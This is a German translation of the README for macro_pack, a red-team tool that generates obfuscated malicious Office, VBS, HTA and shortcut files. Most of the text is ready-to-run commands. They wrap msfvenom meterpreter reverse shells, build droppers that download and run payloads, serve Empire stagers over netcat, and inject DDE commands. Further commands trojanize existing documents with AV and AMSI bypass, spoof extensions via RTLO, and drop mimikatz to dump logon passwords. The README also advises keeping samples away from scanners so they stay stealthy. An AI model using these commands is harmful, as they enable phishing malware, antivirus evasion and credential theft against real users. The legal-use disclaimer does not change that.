
macro_pack ist ein Tool von @EmericNasi, das verwendet wird, um Obfuskation und die Erstellung von Office-Dokumenten, VB-Skripten, Verknüpfungen und anderen Formaten für Pentests, Demos und Social-Engineering-Assessments zu automatisieren. Das Ziel von macro_pack ist es, Exploitation und Antimalware-Bypass zu vereinfachen und den Prozess von der Erzeugung bösartiger Makros und Skripte bis zur finalen Dokumentgenerierung zu automatisieren. Es bietet außerdem viele hilfreiche Funktionen, die für Redteams oder die Sicherheitsforschung nützlich sind.
MacroPack Community ist ein Tool zur Automatisierung der Verschleierung und Generierung von Retro-Formaten wie MS Office-Dokumenten oder VBS-ähnlichen Formaten. Es verarbeitet auch verschiedene Verknüpfungsformate. Dieses Tool kann für Red-Teaming, Penetrationstests, Demos und Social-Engineering-Bewertungen eingesetzt werden. MacroPack vereinfacht die Umgehung von Antimalware-Lösungen und automatisiert den Prozess von der VB-Quelle bis zum endgültigen Office-Dokument oder anderen Payload-Typ. Die Verwendung ist sehr einfach:
Das Tool ist kompatibel mit Payloads, die von gängigen Pentest-Tools (Metasploit, Empire, ...) generiert werden. Es lässt sich auch leicht mit anderen Tools kombinieren, da die Eingabe von stdin gelesen werden kann und eine leise Ausgabe an ein anderes Tool möglich ist. Dieses Tool ist in Python3 geschrieben und funktioniert sowohl unter Linux als auch unter Windows.
Hinweis: Für die automatische Generierung von Office-Dokumenten oder Trojaner-Funktionen ist eine Windows-Plattform mit den entsprechenden installierten MS Office-Anwendungen erforderlich.

Das Tool verwendet verschiedene Verschleierungstechniken, alle automatisch. Die Verschleierungsfunktionen sind mit allen VBA- und VBS-basierten Formaten kompatibel, die von MacroPack generiert werden können. Die grundlegende Verschleierung (-o Option) umfasst:
MacroPack kann verschiedene Arten von MS Office-Dokumenten und Skriptformaten generieren. Das Format wird automatisch anhand der angegebenen Dateierweiterung erkannt. Die Dateigenerierung erfolgt mit der Option --generate oder -G.
Die Pro-Version von MacroPack ermöglicht es Ihnen auch, vorhandene Office-Dateien mit der Option --trojan oder -T zu trojanisieren.
Unterstützte MS Office-Formate sind:
Unterstützte Skriptformate (txt) sind:
Unterstützte Verknüpfungs-/Shell-Formate sind:
Beachten Sie, dass alle Skript- und Verknüpfungsformate (außer LNK) auch in der Linux-Version von MacroPack generiert werden können.
Diese Software darf nur im Rahmen eines Red-Team-Einsatzes, eines Penetrationstests, einer Phishing-Simulation, einer Sicherheitsforschung oder einer anderen Form von Sicherheitsbewertungen mit rechtmäßiger und förmlicher Autorisierung der Systemeigentümer verwendet werden. Die Verwendung dieser Software zum Angriff auf Ziele ohne vorherige Zustimmung ist verboten und illegal. Es liegt in der Verantwortung des Benutzers, alle geltenden lokalen, staatlichen, bundesstaatlichen und nationalen Gesetze einzuhalten. Wir übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch die Verwendung dieser Software entstehen können.
Nicht alle Fähigkeiten und Optionen von MacroPack sind in MacroPack Community verfügbar. Nur die Community-Version ist online verfügbar. Die Funktionen der Pro-Version „bewaffnen“ den Prozess wirklich, daher ist ihr Zugang auf Fachleute beschränkt. Der Pro-Modus umfasst Funktionen wie:
Einige kurze Demovideos sind auf dem BallisKit Vimeo-Kanal verfügbar.
Wichtig: Wenn Sie mich bezüglich MacroPack Pro kontaktieren möchten, verwenden Sie meine E-Mail-Adresse emeric.nasi [at] sevagas.com. Ich werde keine anonymen Anfragen für die Pro-Version beantworten, sondern nur geschäftliche E-Mails.
### Installation aus den Quellen
Sie müssen sich auf einem Windows-Computer befinden, um MacroPack zu erstellen. Laden Sie die Abhängigkeiten herunter und installieren Sie sie:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Das Tool ist in Python 3 geschrieben, starten Sie also einfach mit Ihrer Python 3 Installation. ex:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
Wenn Sie eine eigenständige exe mit pyinstaller erstellen möchten:
* Installieren Sie pyinstaller: pip install pyinstaller
* Doppelklicken Sie auf das Skript "build.bat".
Das resultierende macro\_pack.exe befindet sich im **bin** Verzeichnis.
## Einige Beispiele
### MacroPack Community
- Alle unterstützten Dateiformate auflisten```bash
macro_pack.exe --listformats
- Verschleiert die VBA-Datei, die von msfvenom generiert wurde, und speichert das Ergebnis in einer neuen VBA-Datei.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Erstellen Sie eine MS Excel-Datei, die einen obfuskierten Dropper enthält (payload.exe herunterladen und als dropped.exe speichern)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Laden Sie den Empire Launcher Stager herunter und führen Sie ihn ohne powershell.exe aus, indem Sie die DROPPER_PS-Vorlage verwenden.```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE Demo"></p>
- Laden Sie eine Datei herunter und führen Sie sie über PowerShell mit einem Dynamic Data Exchange (DDE)-Angriff aus.```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY Demo"></p>
- Generiere eine obfuskierte Meterpreter reverse TCP VBS-Datei und führe sie aus ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- URL-Verknüpfung erstellen, die beim Klicken eine lokale HTA-Datei ausführt```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### Einige Beispiele für MacroPack Pro
- Trojanisieren Sie die vorhandene freigegebene Datei "report.xlsm" mit einem Dropper. Nutzen Sie Anti-AV- und Anti-Reverse-Funktionen.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- Trojaner eine PowerPoint-Datei mit einem Reverse-Raw-Shellcode. Makro ist verschleiert und verstümmelt, um AMSI und die meisten Antivirenprogramme zu umgehen.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## Alle Optionen der Community-Version```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
Vorlagen können mit -t, --template=VORLAGENNAME in Kombination mit anderen Optionen aufgerufen werden.
Hier sind alle verfügbaren Vorlagen.
Gibt eine Hallo-Nachricht und einen Hinweis auf das Makro aus.
Geben Sie dieser Vorlage den Namen oder die E-Mail-Adresse des Autors:
-> Beispiel: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Führt einen Befehl aus.
Geben Sie dieser Vorlage eine Befehlszeile:
-> Beispiel (startet calc.exe aus einer xslt-Datei): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Führt eine Befehlszeile aus und sendet die Ergebnisse an einen entfernten HTTP-Server.
Geben Sie dieser Vorlage die Server-URL und den auszuführenden Befehl:
-> Beispiel: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
Herunterladen und Ausführen einer Datei.
Geben Sie dieser Vorlage die Datei-URL und den Ziel-Dateipfad an.
-> Beispiel: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
Herunterladen und Ausführen eines PowerShell-Skripts mithilfe von rundll32 (zur Umgehung von blockiertem powershell.exe).
Hinweis: Diese Payload lädt PowerShdll von GitHub herunter.
Geben Sie dieser Vorlage die URL des PowerShell-Skripts an, das Sie ausführen möchten:
-> Beispiel: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
Herunterladen einer DLL mit einer anderen Erweiterung und Ausführen mithilfe von Office VBA.
-> Beispiel: Laden der Meterpreter-DLL mit Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Meterpreter Reverse-TCP-Vorlage mit MacroMeter von Cn33liz.
Diese Vorlage ist ein CSharp-Meterpreter-Stager, erstellt von Cn33liz und in VBA eingebettet mit DotNetToJScript von James Forshaw.
Geben Sie dieser Vorlage die IP und den PORT der lauschenden msfconsole:
-> Beispiel: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
Diese Vorlage generiert auch eine meterpreter.rc-Datei, um den Metasploit-Handler zu erstellen.
-> Beispiel: msfconsole -r meterpreter.rc
Legen Sie eine eingebettete Datei ab und führen Sie sie aus.
In Kombination mit der Option --embed wird die eingebettete Datei mit einem zufälligen Namen im TEMP-Ordner abgelegt und ausgeführt.
-> Beispiel: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
In Kombination mit der Option --embed wird die Datei abgelegt und eine Funktion in der angegebenen DLL aufgerufen.
Geben Sie dieser Vorlage den Namen und die Parameter der aufzurufenden Funktion in der DLL.
-> Beispiel1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Beispiel2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Die verschiedenen Funktionen wurden gegen lokal installierte Antimalware-Lösungen sowie Online-Dienste getestet. Ich führte mehrere Tests mit verschiedenen Arten von Payloads und MacroPack-Funktionen durch. Ein Großteil der statischen Antiviren-Erkennung wird durch die einfache Option „obfuscate“ umgangen. Allerdings werden Payloads, wie bei den meisten kostenlosen Tools, in der Regel durch Verhaltensanalysen wie AMSI erkannt. Die im MacroPack-Pro-Modus verfügbaren Funktionen ermöglichen in der Regel einen vollständigen AV-Bypass einschließlich AMSI.
Warnung: Reichen Sie Ihre Samples nicht bei Online-Scannern (z.B. VirusTotal) ein. Das ist der beste Weg, um Ihren Stealth-Makro zu brechen. Ich empfehle Ihnen auch, keine nicht meldenden Seiten wie NoDistribute zu verwenden. Sie können nicht sicher sein, was diese Seiten mit den von Ihnen eingereichten Daten tun. Wenn Sie ein Problem mit der AV-Erkennung von macro_pack haben, können Sie uns um Rat schreiben oder ein Issue oder einen Pull-Request einreichen.
Blogbeiträge über MacroPack Pro:
Blogbeiträge über Hacking mit MS Office, VBS und anderen Retro-Sicherheitsthemen:
Andere nützliche Links:
Sie können mich gerne über meinen Twitter-Account @EmericNasi kontaktieren.
Emails:
Wichtig: Wenn Sie mich bezüglich MacroPack Pro kontaktieren möchten, verwenden Sie meine sevagas.com-E-Mail-Adresse. Bitte beachten Sie auch, dass ich keine anonymen Anfragen zur Pro-Version beantworte, nur professionelle E-Mails.
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)